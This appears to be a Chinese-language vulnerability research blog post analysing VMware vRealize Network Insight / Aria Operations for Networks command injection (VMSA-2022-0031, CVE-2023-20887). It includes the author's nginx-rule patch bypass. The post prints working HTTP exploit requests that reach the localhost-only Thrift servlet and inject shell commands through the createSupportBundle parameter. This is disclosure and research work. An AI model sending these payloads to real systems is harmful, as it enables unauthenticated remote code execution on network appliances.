警告
本文最后更新于 2023-06-08 ,文中内容可能已过时。
首发先知 https://xz.aliyun.com/t/12608
本文分为两部分,前半部分主要是对VMSA-2022-0031的分析,后半部分是我挖的补丁绕过,官方公告是VMSA-2023-0012。
https://www.vmware.com/security/advisories/VMSA-2022-0031.html
爆了两个洞,一个未授权命令注入,一个目录穿越。
参考 https://blog.csdn.net/x_idea/article/details/124294823
需要部署platform和collector两台机器
目录穿越
com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#downloadFile
命令注入
com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
拼接命令,向上回溯调用
com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle
nodeId可控,继续向上回溯
找到com.vnera.restapilayer.ManagementResource#createSupportBundles
这个函数对应的路由为/support-bundle
需要授权,在他里面确实调用了createSupportBundles函数
根据官方通告说的命令注入不需要授权,猜测自己找错方向了。
于是仔细看了看这个函数,发现了这三行代码
1
2
3
THttpClient transport = this.saaSCommunicationHelper.getSaasClientForNode((NodeInfo)nodesById.get(nodeId));
RestToSaasCommunication.Client client = this.getClient(transport);
Result result = client.createSupportBundle(Integer.toString(customerId), nodeId, request.getRequestId(), evictions.get(nodeId));
通告Google发现是thrift相关的东西,thrift是rpc调用,搜了几篇文章看了看
https://juejin.cn/post/6844903622380093447
发现这玩意客户端和服务端可以分开监听,但是不知道具体怎么传输的,于是在机器上用tcpdump抓包所有网卡,找到路由/support-bundle
对应的功能点点了点
发现在点击创建支持包
这个功能点之后
有一条http请求是对resttosaasservlet
路由的调用,端口为9090,而这个路由就是thrift的rpc服务。于是尝试怎么触发这个路由。
看了下nginx配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
upstream lbrest {
server 127.0.0.1 : 8080 ;
}
server {
listen 443 ssl http2 ;
server_tokens off ;
root /usr/share/nginx/www ;
index index.html index.htm ;
...省略...
location /api {
rewrite ^/api/(.*) $ / $1 break ;
proxy_pass http://lbrest ;
proxy_redirect off ;
proxy_buffering off ;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
proxy_set_header X-Http-Scheme $scheme ;
}
...省略...
location = /saasresttosaasservlet {
allow 127 .0.0.1 ;
deny all ;
rewrite ^/saas(.*) $ / $1 break ;
proxy_pass http://127.0.0.1:9090 ;
proxy_redirect off ;
proxy_buffering off ;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
}
location = /saasfedpeertosaasservlet {
rewrite ^/saas(.*) $ / $1 break ;
proxy_pass http://127.0.0.1:9090 ;
proxy_redirect off ;
proxy_buffering off ;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
}
location = /saassaastofedpeerservlet {
rewrite ^/saas(.*) $ / $1 break ;
proxy_pass http://127.0.0.1:9090 ;
proxy_redirect off ;
proxy_buffering off ;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
}
location /saas {
rewrite ^/saas(.*) $ / $1 break ;
proxy_pass http://127.0.0.1:9090 ;
proxy_redirect off ;
proxy_buffering off ;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ;
}
}
发现443转发到8080端口,/saasxxx
相关的转发到9090端口,并重写url为/xxx
,其中/saasresttosaasservlet
路由重写为resttosaasservlet
,对上了wireshark的抓包信息。
nginx配置了这个路由只允许127.0.0.1访问,但是可以绕过,因为用的是location = /saasresttosaasservlet
,表示当url等于/saasresttosaasservlet
时才会匹配上这个规则,我们可以用/saasresttosaasservlet/
绕过
如图
然后发现补丁中确实对这个进行了处理
说明我们找对了地方。
接下来就是构造thrift的协议请求包了,这个地方不说了,一边调试一边构造就可以了。最后构造出来exp如图
1
2
3
4
5
6
7
8
9
POST /saasresttosaasservlet/ HTTP / 2
Host : 192.168.1.155
Content-Type : application/x-thrift
Accept : application/x-thrift
User-Agent : Java/THttpClient/HC
Content-Length : 93
Accept-Encoding : gzip,deflate
[ 1 , "createSupportBundle" , 1 , 1 ,{ "1" :{ "str" : "10000" }, "2" :{ "str" : "*.tar.gz;touch /tmp/aaa;ls " }}]
thrift协议规范限制body中不能有空格或者换行符等,构造时注意。
合影留念
简单看看应该一样的,不写了。
由于nginx配置不当和拼接命令导致的rce,用了thrift做rpc。
Aria Operations for Networks Command Injection Vulnerability (CVE-2023-20887) 是对nginx规则的绕过
上面的漏洞补丁放宽正则禁止了/saasresttosaasservlet路由,但是下面还有一个location块
1
2
3
4
5
6
7
8
9
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
所以可以绕过
1
2
3
4
5
6
7
8
9
POST /saas./resttosaasservlet HTTP / 2
Host : 192.168.1.155
User-Agent : Java/THttpClient/HC
Accept : application/x-thrift
Accept-Encoding : gzip, deflate
Content-Type : application/x-www-form-urlencoded
Content-Length : 43
[1,"getSystemInfo",1,1,{"1":{"i32":10000}}]
rce同样用createSupportBundle函数,这个命令注入没修。
1
2
3
4
5
6
7
8
9
POST /saas./resttosaasservlet HTTP/2
Host: 192.168.1.155
User-Agent: Java/THttpClient/HC
Accept: application/x-thrift
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/asdasd;ls "},"4":{"lst":["str",0]}}]
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。